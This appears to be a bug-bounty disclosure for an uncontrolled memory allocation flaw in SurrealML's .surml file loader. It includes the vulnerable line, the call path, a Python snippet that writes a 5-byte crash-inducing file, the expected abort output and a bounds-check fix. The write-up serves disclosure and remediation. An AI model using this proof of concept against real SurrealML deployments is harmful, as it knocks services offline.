surrealml-oom-poc

SurrealML — CWE-789 Uncontrolled Memory Allocation

Target

Root Cause

SurMlFile::from_file() reads the first 4 bytes of a .surml file as a u32 (big-endian) and allocates a Vec<u8> of exactly that size — with no upper-bound check. Setting those 4 bytes to 0xFF FF FF FF triggers a ~4 GB allocation attempt.

// surml_file.rs line 108 — VULNERABLE
let mut header_buffer = vec![0u8; integer_value as usize];
//                            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
//                            integer_value = attacker-controlled u32 (up to 4 GB)
//                            NO bounds check before this line

The sibling function from_bytes() has the correct bounds check; from_file() does not.

Trigger Path

malicious.surml (5 bytes: FF FF FF FF 58)
  └─► SurMlFile.load()          surml_file.py:169
        └─► RustAdapter.load()  rust_adapter.py:226
              └─► load_model()  load_model.rs:98      [C FFI]
                    └─► from_file()  surml_file.rs:99
                          └─► vec![0u8; 4_294_967_295]  ← OOM panic / SIGABRT

Reproduction

# Step 1 — Create malicious file (5 bytes)
python3 -c "
import struct
with open('malicious.surml', 'wb') as f:
    f.write(struct.pack('>I', 0xFFFFFFFF))
    f.write(b'X')
"

# Step 2 — Trigger via standalone Rust reproducer
ulimit -v 524288 && ./surml_poc malicious.surml

Expected output:

[*] Header length field value: 4294967295 bytes (~4.0 GB)
[*] Attempting allocation: vec![0u8; 4294967295]
memory allocation of 4294967295 bytes failed
Aborted (core dumped)

Deliverables

Suggested Fix

// Add in from_file() after reading integer_value (surml_file.rs ~line 106):
const MAX_HEADER_BYTES: usize = 64 * 1024 * 1024; // 64 MB
if integer_value as usize > MAX_HEADER_BYTES {
    return Err(SurrealError::new(
        format!("Header length {} exceeds maximum allowed size", integer_value),
        SurrealErrorStatus::BadRequest,
    ));
}

---

Eric Gachara · huntr.com · 2026-05-30